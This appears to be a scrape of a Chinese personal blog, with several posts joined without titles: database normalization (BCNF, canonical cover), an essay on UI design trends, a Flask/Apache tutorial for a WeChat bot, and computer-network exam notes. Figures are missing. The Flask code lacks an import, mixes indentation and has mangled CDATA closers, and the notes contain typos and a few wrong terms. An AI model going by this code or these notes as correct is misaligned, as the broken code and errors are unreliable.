那么 BNCF 的分解也可以直观来理解。如果存在一冗余的非平凡依赖，把这个依赖单独提取出来成为一个新的关系即可。

属性闭包 Attribute Closure 与正则覆盖 Cononical Coverage

首先有一个属性闭包的概念。由一个属性能够推断出来的所有函数依赖的属性集合为属性的闭包，记作为 $\alpha ^{+}$。

属性闭包除了可以测试 super key （检查 $\alpha ^{+}$ 是否包含了所有属性）和判断函数依赖（检查 $\beta$ 是否属于 $\alpha ^{+}$）以外，还可以用来方便地计算 F⁺。对于每一个属性 x 计算闭包 S，然后依次输出 x -> S。

接下来有无关（extraneous）属性的概念。如果去除函数依赖中的一个属性，不改变该函数依赖集的闭包，则称该属性是无关的。计算方式可以直观理解为：如果有一个函数依赖 $\alpha \rightarrow \beta$，且$A \in \beta$，那么测试 A 是否是无关属性的方法就是从 F 中去掉 $\alpha \rightarrow \beta$ 这一依赖，增加 $\alpha \rightarrow (\beta - A)$ 这一依赖，检查能不能从 $\alpha^{+}$ 中推出 A，如果仍然能够推出，那么 A 就是多余的。

正则覆盖可以理解为是消去了无关元素的函数依赖集。计算方法是从 F 使用合并的方式来替换掉所有的依赖，接下来依次删除所有的无关元素。

一个例子：

BCNF 的分解

首先这里由引入了无损连接的概念。即分解后的关系和之前未分解的关系模型相比没有信息损失。形式化的表达为：

一个有损分解的例子是，将员工分解为

employee1(ID, name)
employee2(name, street, city, salary)

在 Natural Join 之后由于可能有重名存在，这个分解便是有损的。

分解 BCNF 的步骤可以简化为以下几步：

• 寻找 R 中一些属性 $\alpha$ 的的闭包，如果这个属性的闭包没有包含 R 中的所有元素（即不为 super key），且不为平凡函数依赖，那么需要拆解。
• 拆解方法：若这个非平凡依赖为 $\alpha \rightarrow \beta$，则将原来的 R 变为 $R - \beta$，并构造一个新的关系 $\alpha \cup \beta$。
• 依次拆解，直到全部拆解完毕。

图解展示这个过程如下：

在这个例子中，为了从 R₂ 得到 R₅，中途的 AB -> E 可通过函数依赖的传递和拆解得到：

已知 AB -> CD, AC -> DE
则 AB-> ACD, ACD-> DE
则 AB -> DE
则 AB -> E

如此即可得到这一关系的 BCNF 拆解，且满足无损连接，因为有 $R3 \bowtie R4 \bowtie R5 \bowtie R6 = R$。

熬夜看完了 WWDC2020。Apple 的自研处理器自然是发布会的高潮，不过除此之外，与新处理器一起到来的还有 macOS 10.X 时代的终结 —— 有生之年这个版本号终于上 11 了。之所以在题目里说「设计是一个循环」，是因为这套来自 Big Sur 的图标设计方案实在是太让人梦回 20 年前了。正好最近有空，遂在这里简单整理在 UI 设计方面，设计师们是怎么走了一个圈又回来了。

开始的开始

高光，阴影，强渐变制造出的立体感 —— Aqua Design。

在计算机刚飞入寻常千万家的二十世纪末，现在使用者们习以为常的 UI 元素可能并不是那么易于理解：那是人机交互的原始时代，在这之前的计算机只能通过古板的命令行与用户交互。因此，这样一个「看起来就可以点击」的界面元素就是在告诉用户：这就是一个按钮；水滴一样的问号球，也是在对用户大声地说：「有什么不懂的，点我」。

同时，更强的图像处理能力也鼓励设计师在 UI 上「炫技」，用复杂的纹理和过渡动画来展现出精致得到效果。乔布斯曾对于这套将深度、高光首次引入 GUI 的设计方案这样评价：

Its liquid, one of the design goals was when you saw it you wanted to lick it.

同时期的 Windows XP, Vista 再到 Win7，无一不是在类似地尝试还原这种真实的质感。毛玻璃展现出来的层级划分，水灵灵的图标质感，是这个时代最典型的设计风格。

扁平化

随着大家渐渐熟知了界面交互的种种共识，也就不再需要通过直观的视觉细节来了解 UI 元素的作用。于是从 2010 年起，各家巨头都陆陆续续开始走上了扁平的道路。 Jony Ive 担任苹果首席设计师的第一个作品，就是 iOS 7，也就是那个把 iOS 6 之前把拟物做到极致的系统完全拍扁的版本。第二年， Yosemite 发布。这一略带质感的扁平风格，成了大多人现在所熟知的 macOS 的形态。

相比苹果而言，微软 2012 年发布的 Windows 8 更早地成为了扁平化的先锋。在当时看来步子迈得实在是太大了，网友「喷不打一处来」。这是一次彻底的扁平化。新引入的 Metro 磁铁开始菜单只留下了纯色的矢量图标和大块的色彩来辨识不同的应用。好在那时我大概还在初中，正处于接受新事物最容易的阶段，第一时间适应了扁平化的风格体系。扁平化的设计也快速成了我的偏爱。

虽然一开始大家喷得厉害，但当用户逐渐接受了扁平化的设定之后，往往会觉得这一视觉方案更加简洁，让注意力集中在更重要的内容上。因此在接下来的五六年里，从西方的科技巨头，到国内的众多互联网公司，都迅速开始扁平化。无论是 MIUI5 - MIUI6 的设计，还是 Android 4.0 的问世，甚至 Google Logo 的字体更新，都是在 2015 年左右发生的转变。扁平化的潮流迅速席卷了全球。此外，由于设计师们不再需要拘泥于极其受限的屏幕大小和分辨率，对空间的利用也往往更加大方，一个占满了整个屏幕的巨型纯色按钮，在现在也不是什么怪事。

回归圆润

也许人们对同一套设计的审美疲劳期限大概就是 5 年。于是从前年开始看起来绝不应该用圆角的微软开始推广起来了不那么扁平的 Fluent Design，在 Windows 8 扔掉的 Aero 效果也从 Windows 10 1904 回归。微软也开始在一些 Web 按钮上使用圆角的设计。不过在界面统一方面，微软的执行力着实令人担忧。在这个设计的过渡时期，能够看到 Windows 8、Windows 10、Fluent Design 同时出现在单个软件中的奇观。甚至 Windows 95 时代的上古图标还没有完全重绘。也许是微软自己也对纯扁平的风格审美疲劳了，又或许是纯色的扁平 Logo 实在是没给设计师什么发挥空间，但我们能确定的是，微软开始「圆」了。

在苹果这边，Big Sur 的发布也就仿佛是回归了 Yosemite 扁平化到来之前的设计原则，高度运用渐变、高光和阴影，全体系统自带图标都采用圆角矩形，颇有 Aqua Design 的味道。这套设计也是在尝试和 iOS 和 iPadOS 打通隔阂，试图呈现一个更统一的跨平台的设计语言。

不过很遗憾的是，全部采用圆角矩形的新图标丧失了一些旧图标体系下的分类功能。比如在 Catalina 中，系统自带 APP 总是使用原型图标来表示一个「单页应用」，如照片、应用商店、Safari 等等：

使用一个倾斜的文件来代表一个「基于文档」的应用程序，类似于文本编辑器、脚本编辑器和 Pages：

广义地来讲，这类应用还有邮件、联系人、笔记、日历等等：

总之，旧的设计通过在形状中嵌入应用形态的隐喻，维持了系统应用图标的高度统一性和精致的设计感。新图标倒是不管三七二十一，全部用一致的圆角矩形解决。用相对更明显的高亮和阴影来与对应的移动平台应用区分开。带来的新问题也有像 Logic Pro X、Final Cut Pro X 这样面向专业人员的、图标本该 Pro 一点的应用变得像个玩具：

虽然苹果之前设计本身也完全说不上「方」，不过从 macOS Big Sur 开始，种种 UI 细节都变得更加圆润了。这不仅体现在图标上，也体现在整个系统的各处 UI，圆角半径全体大幅扩大，甚至给人一种这就是 Deepin 的错觉。如果说更圆润的界面通常意味着更加贴近用户，更加友好的视觉风格，那苹果在这条路上便又踏出了一大步。从圆润到整洁再到圆润，又开始了一轮新的循环。

此外，今年 5 月底，Adobe 旗下的所有软件也全部一改以前方正克制的风格，全部圆了起来：

前文没有提到的，还有 Google 从方到圆的例子。从 Material Design 到 Material Design 2.0 就是最典型的例子。2.0 版本的 MD 最突出的特点就是文本框等空心元素的大幅圆角化和 Sidebar 的圆角高亮器。同样，对空间的利用也一并变得更加大方。我想，界面的风格改过来改过去的，除了是出于不同设计风格能在交互体验上给用户带来什么差别的思考以外，也许还有一个原因，就是让用户时刻保持新鲜感。于是在平面设计风格正弦函数一般的循环往替中，我们可以推测，在 2030 年到来之时，我们每天接触的这些 UI 们，将又一次被硬朗的方形支配。

一些准备工作

首先需要关闭微信提供的自动回复功能，然后登录微信公众平台，前往开发者配置的基本配置。

• URL ：在这里输入你的接口地址，在下方的例子中，是 https://url/wechat。
• Token：你可以自己输入 Token，用于验证。
• EncodingAESKey：随机生成就好，同样用于验证。
• 消息加密方式：只要采用了 https 协议，明文模式也已经足够安全。为了便于开发调试我直接使用了明文方式。

快速让后端跑起来

需求很重要。没有必要在部署和非逻辑层上花费太多时间。下面是我使用的框架，在 get_reply(msg) 中写下你的业务逻辑就好。

对于比较复杂的项目，你可以考虑把一些方法拆分单独的文件中。

import hashlib
from flask import  *
import xml.etree.ElementTree as ET
app = Flask(__name__, static_url_path='/static')
WECHAT_TOKEN  = 'YOUR TOKEN'
AES_KEY = 'YOUR AES KEY'
def get_reply(msg):
    return 'You can write your own handler here.'
def send(to_user, from_user, content):
	reply = """
    <xml><ToUserName><![CDATA[%s]]]]></ToUserName>
    <FromUserName><![CDATA[%s]]]]></FromUserName>
    <CreateTime>%s</CreateTime>
    <MsgType><![CDATA[text]]]]></MsgType>
    <Content><![CDATA[%s]]]]></Content>
    <FuncFlag>0</FuncFlag></xml>
    """
	response = make_response(reply % (to_user, from_user,
	                                  str(int(time.time())), content))
	response.content_type = 'application/xml'
	return response
    
@app.route('/', methods=['POST', 'GET'])
def index():
	return 'You can write your own index page.'
@app.route('/result', methods=['GET'])
def export():
	return app.send_static_file('result.html')
@app.route('/wechat', methods=['POST', 'GET'])
def wechat_post():
	if (request.method == 'GET'):
		# 验证信息
		data = request.args
		signature = data.get('signature', '')
		timestamp = data.get('timestamp', '')
		nonce = data.get('nonce', '')
		echostr = data.get('echostr', '')
		s = sorted([timestamp, nonce, WECHAT_TOKEN])
		# 字典排序
		s = ''.join(s)
		if hashlib.sha1(s.encode('utf-8')).hexdigest() == signature:
			# 判断请求来源，并对接受的请求转换为utf-8后进行sha1加密
			response = make_response(echostr)
			return echostr
		return 'Only requests from wechat will be accepted.'
	if(request.method == 'POST'):
		xml = ET.fromstring(request.data)
		toUser = xml.find('ToUserName').text
		fromUser = xml.find('FromUserName').text
		msgType = xml.find("MsgType").text
		if msgType == 'text':
           # 文本消息
			content = xml.find('Content').text
           reply = get_reply(content)
			return send(fromUser, toUser, reply)
		elif msgType == 'event':
           # 关注消息
			return send(fromUser, toUser, 'Write your own follow message here.')
		else:
			return send(fromUser, toUser, "非文字消息。")
	return 'Unexpected handler.'
if __name__ == '__main__':
	app.run(host='0.0.0.0', threaded=True)

用 Apache 部署起来

在项目根目录下新建一个 wsgi 文件，写入配置，修改成你的部署目录：

#! /usr/bin/python3.6
import logging
import sys
logging.basicConfig(stream=sys.stderr)
sys.path.insert(0, '/var/www/seeyoubot') # Your own deploy path
from server import app as application
application.secret_key = 'just_a_secret_key' # Anything you want

接着上传项目，在 Apache 的配置文件（通常位于 /etc/apache2/sites-enabled ）下的新增一个 conf 文件，写入以下配置。修改一下 ServerName，WSGIScriptAlias 和 Directory 成你的工程位置：

<VirtualHost *:80>
     # Add machine's IP address or your subdomain
     ServerName yourserver.com
     # Give an alias to to start your website url with
     WSGIScriptAlias / /var/www/seeyoubot/seeyoubot.wsgi
     <Directory /var/www/seeyoubot/>
     		# set permissions as per apache2.conf file
            Options FollowSymLinks
            AllowOverride None
            Require all granted
     </Directory>
     ErrorLog ${APACHE_LOG_DIR}/error.log
     LogLevel warn
     CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

接下来service apache2 restart，回到微信公众平台点击提交，你应该已经可以提交成功了。现在你可以专注于处理回复消息的逻辑了。

References

• https://zhuanlan.zhihu.com/p/50801694
• https://developers.weixin.qq.com/doc/offiaccount/Message_Management/Passive_user_reply_message.html

青年节到了，顺祝节日快乐。

一个栗子🌰：

c\leftarrow \Pi_{count}\Big(\sigma_{\text{publisher="McGraw-Hill"}}(_{publisher,} \mathcal{G}_{\textbf{count(*) as count}}(books))\Big) \\
t\leftarrow _{name,}\mathcal{G}_{\textbf{count(*) as memcount}}(\sigma_{\text{publisher="McGraw-Hill"}}(member \bowtie borrowed\bowtie books)) \\
\Pi_{name}(\sigma_{\text{memcount=c}}(t))

$c\leftarrow \Pi_{count}\Big(\sigma_{\text{publisher='McGraw-Hill'}}(\_{publisher,} \mathcal{G}_{\textbf{count(＊) as count}}(books))\Big)$

$t \leftarrow_{name,} \mathcal{G}\_{\textbf{count(＊) as memcount}} (\sigma_{\text{publisher='McGraw-Hill'}}(member \bowtie borrowed\bowtie books))$

$\Pi_{name}(\sigma_{\text{memcount=c}}(t))$

平时不学习，期末火葬场。

一周时间靠王道考研和各路 pdf 自学计网，留下的提纲都在这里了。

目录

• Chapter 1 Overview
  • 概念和组成
    • 计算机网络的功能
    • 计算机网络的组成
    • 分类
  • 标准化
    • 标准化相关工作
    • 组织
  • 传输指标
  • 分层结构
  • 通用分层模型
    • OSI
    • TCP/IP
• Chaper 2 Physical Layer
  • 通信基础
    • 一些概念
  • ⭐️ 奈氏准则和香农定理
    • 失真
    • 奈氏准则（奈奎斯特定理）/ Nyquist's Theorem
    • 香农定理 / Shannon's Theorem
  • ⭐️ 编码与调制
  • 物理设备
    • 传输介质
    • 物理层设备
• Chapter 3 Data Link Layer
  • Overview
    • 一些概念
  • ⭐ 成帧
  • ⭐️ 差错控制
  • 流量控制与可靠传输协议
    • Background
    • 停止-等待协议 / Stop-Wait Protocol
    • 回退 N 协议 / Go Back N Protocol
    • 选择重传协议 / Selectve Repeat Protocol
• Chapter 4 Media Access Control
  • 一些术语
  • 一些概念
  • 静态信道划分方式
  • 动态信道划分方式
  • 具体应用
    • 局域网
    • ⭐️ 以太网
    • 无线局域网
  • 链路层设备
• Chapter 5 Network Layer
  • 数据报文交换
    • 电路交换
    • 报文交换
    • 分组交换
    • 数据报（因特网使用）
    • 虚电路方式
  • ⭐️ 路由算法
    • RIP 距离矢量路由
    • 链路状态路由
    • 逆向路径转发
    • 生成树算法
    • 边界网关 BGP
  • IP / Internet Protocol
    • 报文格式
    • IPv4 地址
  • 其他协议
  • 网络层设备
• Chapter 6 Transport Layer
  • UDP 协议
  • TCP 协议特点
  • TCP 报文格式
  • :star: TCP 建立连接
  • TCP 连接释放
  • TCP 差错控制
  • TCP 流量控制
  • TCP 拥塞控制

Chapter 1 Overview

7 - layer OSI Model

• 计算机网络：将分散的，具有独立功能的计算机系统通过通信设备与线路连接起来有完整的软件实现资源共享和信息传递
• 计算机网络是互联的，自治的

概念和组成

计算机网络的功能

• 数据通信
  • 数据在信道上的传输
• 资源共享
  • 硬件、软件和数据
• 分布式处理
  • 多台计算机共同处理同一个任务
• 提高可靠性
• 负载均衡（多台计算机可以更亲密的沟通）

计算机网络的组成

• 硬件、软件、协议
• 工作方式 - 边缘部分、核心部分
• 功能组成 - 通信子网（OSI 下三层通信子网）、资源子网网（上三层的处理）
  • 

分类

• 广域网 WAN、城域网 MAN、局域网 WAN、个人区域网 PAN
• 按照使用者分类：公用网、专用网（军队、政府、铁路、公安）
• 按照交换技术：电路交换、报文交换、分组交换
• 按照拓补结构分：
  • 
• 按传输方式：广播式、点对点

标准化

标准化相关工作

• 法定标准：Eg. OSI
• 事实标准：Eg. TCP/IP
• 指定标准的流程：
  • RFC (Request For Comments)：经过四个阶段
  • Internet Draft > Proposed Standard > (Draft Standard) > Internet Standard
  • 因特尔草案 - 建议标准 - 因特尔草案

组织

• 国际标准化组织 ISO
• 国际电信联盟 ITU
• 国际电气电子工程师协会 IEEE - 学术标准、IEE802 相关标准
• Internet 工程任务组 IETF

传输指标

• 速率：数据传输率 / 比特率 b/s kb/s Mb/s Gb/s Tb/s
  • 1Byte = 8bit
• 带宽：原本：某个信号具有的频带宽度，即最高频率与最低频率之差
  • 计算机网络中：指传送数据的能力，最高数据率，网络设备所支持的最高速度
  • 单位：比特率 b/s kb/s Mb/s
  • 带宽变大：指的是能够注入的数据变多了，不能说是比特传输的速度变快了
• 吞吐量 (throughput)：单位时间内通过某个网络或接口的数据量
  • 受到网络的带宽或网络的额定速率的限制
  • 吞吐量指的是实际的数据量（不是最大承载能力
• 时延：Latency，数据从网络一端到另一端所需要的时间
  • 发送时延（数据长度 / 信道带宽），传播时延（信道长度 / 电磁波的传播速率），排队时延（等待输出 / 输入链路可用的时间），处理时延（校验、寻找出口的时间）
  • 高速链路只能改变发送时延
• 时延带宽积：实验带宽积 = 传播时延 * 带宽
  • 描述：某段链路现在有多少比特
• 往返时延：RTT
  • 指的是从发送方发送数据开始，到发送发收到接收方的确认，总共经历时延
  • 可以通过ping命令测试 RTT
  • RTT 越大，可以发送的数据越多（在等待收到接收方的确认之前）
  • = 末端处理时间 + 传播时延 * 2
• 利用率：分为信道利用率 & 网络利用率
  • 信道利用率：有数据通过的时间 / 有 + 无数据通过的时间
  • 网咯利用率：信道利用率的加权平均值
  • 通常：利用率特别高的时候会增加时间，反倒会降低速度

分层结构

• Background：将网络通信的问题化为小问题解决

• 基本原则：每层之间相互独立

  • 每层之间界面自容清晰
  • 结构上可以分隔开
  • 保持下层对上层的独立性
  • 促进标准化工作

• 实体第 n 层活动元素称为第 n 层实体

• 协议：为进行对等实体的交换而建立的交换规则，标准或约定

  • 语义、语法、同步问题的姐姐

• 接口（访问服务点 SAP），上层使用下层服务的入口

• 服务：下层相邻上层提供的功能调用，仅仅在相邻层之间提供服务，具体的硬件软件没有规定

• 计算机网络体系结构是计算机网络的各层及其协议的集合

通用分层模型

OSI

• History：DEC 公司的 DNA，美国国防部的 TCP/IP 等之前的许多网络体系结构
  • 只能实现公司内部的网络通信，不能实现全球的互联互通
• ISO 于 1984 提出的开放系统互联（OSI）参考模型
  • ISO 提出的参考模型和互联互通参考模型
  • 理论成功，市场失败（没有办法进入市场，某些功能会在多个层次重复出现，多个层次重复出现的功能）
• 物联网淑慧试用（自下向上传的七层结构的名称）
• 通信过程
  • 
  • 上四层端到端（客户端和客户端之间的通信），下三层点到点（某一个中介系统可能会传播到下一个节点）
• 各层：应用层：所有能和用户产生网络流量的程序
  • 表示层：处理两个通信系统中交换信息的方式
  • 数据格式交换
  • 数据加密解密
  • 数据压缩和恢复
  • 会话层：有序地传输数据，建立同步
  • 使用校验点在通信失效的时候继续恢复通信，实现数据的同步传送
  • 传输层：用处：
  • 提供可靠传输（需要确认机制）、不可靠传输（不需要确认机制）
  • 差错控制
  • 流量控制
  • 复用分用：
    • 复用：多个应用层进程可以同时使用下面传输层的服务（对于发送方）
    • 分用：传输 0 层把收到的信息分别交付给上面应用层中的相应进程（对于接收方）
  • 网络层：
  • 路由选择（最佳路径）
  • 流量控制
  • 差错控制
  • 拥塞控制（采取措施缓解所有节点都来不及接受）
  • 数据链路层：
  • 把网络层传下来的数据组装成帧
  • 数据链路层 / 链路层的传输单位是帧
  • 物理层：
  • 在物理媒体上实现的比特流的透明传输（单纯地转化成物理数据）
  • 定义接口特性、定义传输模式（单工、双工、半双工）
  • 定义传输速率
  • 比特同步、比特编码（曼切斯特编码等等）

TCP/IP

• 在 OSI 模型出现的时候 TCP/IP 已经具有了市场运用（TCP/IP 为实践）

• 应用层、传输层、网际层、网络接口层：

  • 

Chaper 2 Physical Layer

通信基础

• 一个典型的数据通信模型：

  

一些概念

• 数据：传送信息的实体
• 信号：数据电气 / 电磁的表现（数字信号 & 模拟信号）
• 信源：产生和发送数据的源头
• 信宿：信号传送的终点
• 信道：信号传输的媒介。
• 通信方式：单工、半双工、全双工

通信相关：

• 码元：一个固定时长的信号波形（数字脉冲），代表不同离散数值的基本波形
  • 数字通信中数字信号的计量单位
  • 1 码元可以携带多个比特的信息量
  • K 进制的码元 - 码元的离散状态的个数（同样的一个波形可以对应几个比特
• 速率：码元传输速率：1s 传输多少个码元
  • 信息传输速率：别名比特率、信息速率 - 1s 传输多少个 比特
  • 若一个码元携带 nbit 的信息量，M baud 的码元传输速率对应的信息传输速率 = M*n bit/s
• 波特：码元传输速率的单位，每秒钟内通信线路状态改变的次数。
• 带宽：表示在单位时间内从网络的某一点到另一点所能通过的最高数据率（理想中的）
  • Eg.

⭐️ 奈氏准则和香农定理

失真

• 现实中的信道干扰对信号源造成的干扰，部分干扰可恢复，部分不可恢复
• 码间串扰：码元传输速度过快的时候让码元不清楚

奈氏准则（奈奎斯特定理）/ Nyquist's Theorem

• 在无噪声条件下，为了避免码间串扰，极限码元传输速率为$2W Baud$，其中 W 为信道带宽，Hz
• 极限数据传输速率 = $2Wlog_2Vb/s$，其中 W 为带宽，V 为码元进制数
  • 定理本身为：传输上限为$2W$。

香农定理 / Shannon's Theorem

• 考虑了噪声的影响
• 信噪比 = $10log_{10}(S/N)dB$ （如果不是给定的分贝的形式一般可以直接代入计算，如果给定的分贝单位需要手动计算$S/N$）
• 信道的极限传输速率 = $Wlog_2(1 + S/N)$，W 为带宽
  • 只要信息的传输速率低于信道的极限传输速率，就一定能找到方法来实现无差错的信息传送
• ❗️在计算时要算两个定理取最小值

⭐️ 编码与调制

• 信道：传输媒介

• 信号：分为基带信号和宽带信号

  • 基带信号：将数字 1 和 0 直接用两种不同的电压来表示，再送到数字信道上去传输（基带传输）。
  • 宽带信号：将基带信号进行调制之后形成的频分复用模拟爱信号，再传送到模拟信道上去传输
  • SUM：数字信道 - 基带信号；模拟信道 - 宽带信号
  • 传输距离比较近的时候，使用基带传输（信号不容易变化），传输距离较远时，使用宽带传输

• 将数据转换为：数字信号：编码；模拟信号：调制

• 数字数据编码为数字信号：

  • 
  • NRZ - 非归零编码（编码容易实现，没有检错功能，需要建立一个信道确立时钟周期
  • 1 传输完之后不归零
  • 不归零逆转编码 —— 对于全 0 没有问题，对于全 1 有问题
  • 曼彻斯特编码：自同步的编码方式
  • 数据传输速率只有调制速率的 1/2
  • 
  • 利用数据的上升沿或下降沿表示 0 或 1
  • 差分曼彻斯特：同 1 异 0，前半个码元的电平与上一个码元

• 数字数据调制为模拟信号

  • 调幅 - 2ASK；调频 - 2FSK；调相 - 2PSK
  • 调幅 + 调相（QAM）
  • 在第一种调制的基础上再对第二种进行调制
  • 根据不同的进制和相位计算波特率（求信号状态种数）

• 模拟数据编码为数字信号

  • PCM：能够达到最高保真水平的脉冲编码调制
  • 抽样：对模拟数据进行周期性扫描， $f_{采样频率}>2f_{信号最高频率}$
  • 量化：把抽样的电频幅度按照标准转化为数字
  • 编码：把量化的结果转换成对应的二进制编码进行传送

• 模拟数据调制为模拟信号

  • 简单的调制与解调的过程

物理设备

传输介质

• 传输媒体 ≠ 物理层
  • 传输媒体只是单纯地传输信号
• 主要的传输介质
  • 双绞线 - 绞合可以减少对相邻导线的电磁干扰
  • 同轴电缆：宽带同轴电缆（数字信号） & 宽带同轴电缆（模拟信号）
  • 抗干扰性比双绞线更好
  • 光纤：利用传递光脉冲进行通信，带宽超级大
  • 多模光纤（近距离）& 单模光纤（远距离）

物理层设备

• 中继器：对信号进行再生和还原，对衰减的信号进行放大
  • 中继器的两端连接的是网段，而不是子网；在两端使用的是同一个协议
• 集线器（多口中继器）：对信号再次进行放大转发，接着转发到其他所有处于工作状态爱的端口上，增加信号传输的距离，延长网络的长度
  • 注意：不具备信号的定向传送能力，共享式设备

Chapter 3 Data Link Layer

Overview

• 数据链路层的功能：在物理层的基础上为网络提供无差错的服务
  • 无确认无连接服务、有确认无连接服务、有确认面向连接服务等
  • 链路管理
  • 成帧 / Framing
  • 流量控制
  • 差错控制

一些概念

• 结点：主机和路由器
• 链路：两个结点之间的物理通道，链路的
• 数据链路：网络中的两个结点之间的逻辑通道，实现控制数据传输协议的硬件和软件加到链路上的有效线路

⭐ 成帧

• 在数据前后添加首部和尾部
• MTU 最大数据传输单元 = 帧中的载荷大小
• 透明传输：不管传送的什么样的比特组合，都应该在数据链路成上顺利传输
• 几种方法：
  • 字符计数法：帧首部使用一个计数字段来表明字符数
  • 
  • 字符填充法：SOH 和EOT填充为 Start of header 和 End of transmission
  • 传输的是二进制代码可能会出现结束字符一样的比特组合的时候，需要用字符填充法解决
  • 在控制信息的字符前添加ESC转义字符
  • 零比特填充法：在发送方只要连续 5 个 1，就填入 1 个 0。
  • 在接收端收到一个帧时，先找到标志字段确定边界，再扫描，5 个 1 就去掉 1 个 0。
  • 违规编码法：对于曼彻斯特编码使用 “高高”、“低低” 来确定帧的起始和终止

⭐️ 差错控制

• 差错来源：来自传输通道本身的随机噪声、外接短暂的冲击噪声

• 差错种类：位错、帧错（丢失、重复 & 失序）

• 控制的时间：在每一段链路都进行纠正

• 检验编码

  • 奇偶校验码
  • 构造：由 n-1 位信息元 1 位校验元构成
  • 奇校验码：使得加上校验位之后，1 的个数为奇数；偶校验码：加上校验位之后 1 的个数为偶数 （x............ 中，1 的个数）
  • 对于任何的比特数，检错率为 50%
  • CRC 循环冗余码
  • 发送端将数据除以一个生成多项式，余数为 FCS 帧检测序列 / 冗余码
  • 冗余码的计算：在原数据之后加 r 个 0，使用模 2 除法，在竖式计算中使用的是异或的方式做减，最后的余数作为冗余码，将冗余码加到刚刚补的 0 后面一起传送
    • Eg.
  • 接收端：求余数，为 0 则接受，不为 0 则认定由差错，直接丢弃。
  • CRC 使用的是硬件级别的计算，计算速度非常快

• 纠错编码 - 海明码 Hamming Code

  • 海明码：发现双比特错，纠正单比特错
  • 海明不等式：$2^r \\geq k + r + 1$，r 为冗余信息位，k 为信息位
  • 计算方式：校验位的目标：所要校验的位异或 = 0。校验位为第 2^n^ 位。
  • 
  • 纠错方式：依次对校验位所校验的位进行异或计算，然后从 P4写到 P1，如果不为 0，这个二进制数所代表的位数就是出错了位置，再纠正即可

流量控制与可靠传输协议

Background

• 为了控制发送方的发送速度
• 和传输层的区别：数据链路层的流量控制是点对点的，传输层的流量控制是端到端的。
  • 数据链路层的手段：接收方收不下就不回复确认
  • 传输层的流量控制手段：接收端给发送端一个窗口公告
• 主要方法：停止 - 等待协议、滑动窗口协议（GBN & SR）
  • 停等协议：发送窗口 = 1 接受窗口 = 1
  • 后退 N ：发送窗口 > 1，接收窗口 = 1
  • 选择重传：发送窗口 > 1，接收窗口 > 1
• 滑动窗口主要解决的问题：流量控制和可靠传输

停止-等待协议 / Stop-Wait Protocol

• 是哪一层的问题？
  • 计算机网络发展前期质量不好，链路层要负责可靠传输，需要使用这些协议
  • 现在链路层可以暂时抛弃可靠传输，交给传输层解决
• 关于协议
  • 解决的问题：为了解
  • 决丢包的问题
  • 研究的前提：仅讨论单工通信
• 协议细节：
  • 
  • 每次发送之后都启动一个计时器，超时计时器应当比 RTT 更长一些（自动重传）
  • 发送完后必须保留副本

回退 N 协议 / Go Back N Protocol

• 停止等待协议信道利用率过低
• 协议中的窗口：
  • 发送窗口：发送方维持一组连续的允许发送的帧序号
  • 接收窗口：接收方维持一组连续的允许接收帧的序号
• 累计确认：GBN 协议采用了累计确认的方式，表明接收方已经收到了 n 号帧和它之前的全部帧
• 超时事件：出现超时的时候，发送方会重传所有已发送但没有被确认的帧
• 协议细节：
  • 
  • 对于发送方：确认窗口，开启计时器，超时回退重传
  • 对于接收方：若正确，发送 ACK，并将数据交付上层
  • 若错误，则直接丢弃帧，并且按照最近接收到的帧重新发送 ACK，接收方无需缓存任何失序帧，只需要维护一个 expectedseqnum
  • 规定窗口的大小不能超过$2^{(n)}-1$，其中n为有多少个比特来标志了序号。

选择重传协议 / Selectve Repeat Protocol

• 解决问题：对于 GBN 算法中可能会出现批量重传的问题（一次性损失太大）
  • 只重传出错的帧，设置单个确认而不是累计确认，设置接收缓存，缓存乱序的帧
• 协议中的窗口：
  • 发送窗口 & 接收窗口均大于 0，如果下界未收到确认，将不会滑动
  • 接收窗口：只有窗口下界接收到才会滑动，后面为收到的处于等待接状态
  • 
• 协议细节：
  • 
  • 调用：检查下一个帧序号，如果位于窗口中则发送，否则缓存数据或者先返回上层
  • 发送方：收到 ACK，则帧将会标记为已接收，如果是窗口下界则前进窗口
  • 超时则重传未收到确认的帧
  • 接收方：对于窗口内的帧来者不拒（不管其顺序）
  • 失序的帧将会被缓存，并且向发送方发送确认帧。
  • 如果收到了窗口之外的帧，说明ACK 在传输过程中丢失，并且重新发送确认帧
• 滑动窗口的长度：
  • 发送窗口最好等于接收窗口（大了会溢出，小了没意义）
  • 规定窗口的大小不能超过$2^{(n-1)}$，其中n为有多少个比特来标志了序号。（为了避免出现二义性）

Chapter 4 Media Access Control

一些术语

• DCF: Distributed Coordination Function -- ad hoc architecture
• PCF: Point Coordination Function (Optional)
• OFDM: Orthodox Frequency Division Multiplexing (正交频分多路复用)
• DSSS: Direct-Sequence Spread Spectrum (直接扩频)
• FHSS: Frequency-Hopping Spread Spectrum (跳频扩频技术)
• BSS: Basic Server Set
• ESS: Extent Server Set (服务集)
• 发展历史： 802.11b (QPSK 2.4GHz) -> 802.11a (OFDM 5.0GHz) -> 802.11g (OFDM .4GHz)

一些概念

• 点对点链路：PPP 协议，用于广域网，相邻节点通过一个链路相连

• 广播式链路：所有主机共享通信介质

  • 典型的拓补结构：总线型、星型（逻辑总线型）

• 介质访问控制：采取一定措施，使得两对节点之间的通信不会发生互相干扰

  • 静态划分信道、动态分配信道

• 多路复用：用一条广播信道，把多条信道放在一个信道上

静态信道划分方式

• FDM 频分多路复用：所有用户占用不同的带宽，根据频率的不同（类似于并行）
• TDM 时分多路复用：把时间划分为一段段等长的时分复用帧（类似于并发）
• STDM 统计时分复用：显著提高时间利用率，分配时间片
• WDM 波分多路复用：光的频率多路复用
• CDMA 码分多路复用：将 1 个比特片分为多个码片 / 芯片，每一个站点被指定一个唯一的 m 位的芯片序列，要求各个站点的芯片序列相互正交 （通常把 0 写成 -1）
  • 发送 1 时为芯片序列，发送 0 为反码序列
  • 合并方式：各路信道在信道中线性相加
  • 分离方式：合并的数据和来源的芯片序列规格化内积，即对应位数相乘之后 / 8
    • 结果为 1 - 发送 1；结果为 -1 - 发送 0；结果为 0 - 未发送数据

动态信道划分方式

• 令牌传递协议（轮询访问介质访问控制）

  • 令牌环网中具有多台设备
  • TCU （转发器）：传递所有接入的帧，
  • 传递 token 获取发送权限：令牌为一个特殊的 MAC 控制帧，不含任何信息
  • 主机得到令牌后：修改令牌的标志位，在令牌之后加入数据并发送数据
    • 令牌会沿着令牌环传递
    • 每个节点都会在一定时间内获得发送数据的权力，并不无限持有令牌
  • 主要问题：令牌开销、等待延迟、单点故障
  • 主要适用环境：负载较重、通信量较大的网络

• ALOHA 协议（以下为随机访问介质访问控制）
